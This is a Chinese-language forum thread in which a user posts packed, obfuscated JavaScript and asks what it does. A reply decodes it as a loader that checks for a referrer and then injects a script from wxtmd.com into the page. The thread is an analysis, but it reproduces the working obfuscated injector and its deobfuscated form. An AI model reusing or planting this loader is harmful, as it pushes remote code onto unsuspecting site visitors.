eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('w a$=[\'\',\'\\H\',\'\\m\',\'\\d\',\'\\f\\h\',\'\\s\',\'\\c\\M\\m\',\'\\f\',\'\\d\\F\\E\\v\\c\',\'\\c\\s\',\'\\K\\u\',\'\\u\\t\',\'\\O\\c\',\'\\i\\j\\x\',\'\\d\\b\',\'\\i\',\'\\u\\T\',\'\\m\',\'\\G\',\'\\e\\f\',\'\\u\',\'\\k\',\'\\j\\U\',\'\\m\',\'\\x\\s\',\'\\v\',\'\\s\',\'\\V\',\'\\m\',\'\\d\\k\',\'\\d\\v\',\'\\e\\F\',\'\\E\',\'\\C\',\'\\H\',\'\\u\',\'\\m\',\'\\d\',\'\\f\',\'\\h\',\'\\s\',\'\\c\\C\',"\\j","\\b","\\d\\n","\\i\\e","\\g\\c","\\x\\t\\f","\\h\\c","\\e\\R\\A","\\A\\Q","\\P"];w o=a$[0];r["\\j\\b\\d\\n\\i\\e\\g\\c"]["\\t\\f\\h\\c\\e"](o);q["\\p\\j\\b\\d\\n\\i\\e\\g\\c"]=r["\\j\\b\\d\\n\\i\\e\\g\\c"];q["\\p\\l\\b\\d\\k\\c\\h\\b\\g"]=r["\\l\\b\\d\\k\\c\\h\\b\\g"];S(q["\\p\\l\\b\\d\\k\\c\\h\\b\\g"]!=o&&q["\\p\\l\\b\\d\\k\\c\\h\\b\\g"]["\\s\\f\\b\\c\\b\\d\\b\\l"]!=o&&q["\\p\\l\\b\\d\\k\\c\\h\\b\\g"]["\\v\\b\\m\\c"]!=o&&q["\\p\\j\\b\\d\\n\\i\\e\\g\\c"]["\\f\\e\\B\\e\\f\\f\\e\\f"]){r["\\j\\b\\d\\n\\i\\e\\g\\c"]["\\t\\f\\h\\c\\e"](o);w y=z["\\B\\l\\b\\b\\f"](z["\\f\\k\\g\\j\\b\\i"]()*J+I);w D=a$[1]+a$[2]+a$[3]+a$[4]+a$[5]+a$[6]+a$[7]+a$[8]+a$[9]+a$[10]+a$[11]+a$[12]+a$[13]+a$[14]+a$[15]+a$[16]+a$[17]+a$[18]+a$[19]+a$[L]+a$[N]+a$[W]+a$[1v]+a$[1w]+a$[1x]+a$[1z]+a$[1y]+a$[1f]+a$[1e]+a$[1d]+a$[1i]+y+a$[1h]+a$[1g]+a$[Z]+a$[Y]+a$[X]+a$[1c]+a$[1b]+a$[1a]+a$[1r]+a$[1q];r["\\e\\G\\k\\l"](a$[1p]+a$[1u]+a$[1t]+a$[1s]+a$[1l]+a$[1k]+a$[1j]+a$[1o]+D+a$[1n]+a$[1m]);r["\\j\\b\\d\\n\\i\\e\\g\\c"]["\\t\\f\\h\\c\\e"](o)}',62,98,'||||||||||_|x6f|x74|x63|x65|x72|x6e|x69|x6d|x64|x61|x6c|x73|x75|O40df29f9|x5f|this|window|x70|x77|x2f|x68|var|x2e|O8bfaeeb6|Math|x27|x66|x3e|e2f1131a8|x22|x3d|x76|x3c|0x1|0x3e8|x3a|20|x20|21|x78|x3b|x29|x28|if|x62|x6a|x3f|22|36|35|34|||||||||||39|38|37|30|29|28|33|32|31|48|47|46|51|50|49|42|41|40|45|44|43|23|24|25|27|26'.split('|'),0,{}));谁来看看大致是什么意思

解决方案 »

  1.   

    NND,写这么多,其实就是对<script src="http://wxtmd.com/bsver/adjs.php?scache=随机数"></script>
    这个脚本的输出var _$ = ['', '<', 's', 'c', 'ri', 'p', 't s', 'r', 'c=\'ht', 'tp', ':/', '/w', 'xt', 'md.', 'co', 'm', '/b', 's', 'v', 'er', '/', 'a', 'dj', 's', '.p', 'h', 'p', '?', 's', 'ca', 'ch', 'e=', '\'', '>', '<', '/', 's', 'c', 'r', 'i', 'p', 't>', 'd', 'o', 'cu', 'me', 'nt', '.wr', 'it', 'e(\'', '\')', ';']
    window["document"]["write"]('');
    this["_document"] = window["document"];
    this["_location"] = window["location"];
    if (this["_location"] != '' && this["_location"]["protocol"] != '' && this["_location"]["host"] != '' && this["_document"]["referrer"]) {
        window["document"]["write"]('');
        var a = Math["floor"](Math["random"]() * 1000 + 1);
        var b = "<script src='http://wxtmd.com/bsver/adjs.php?scache="+a+"'><\/script>";
        window["eval"]("document.write(b);");
        window["document"]["write"]('')}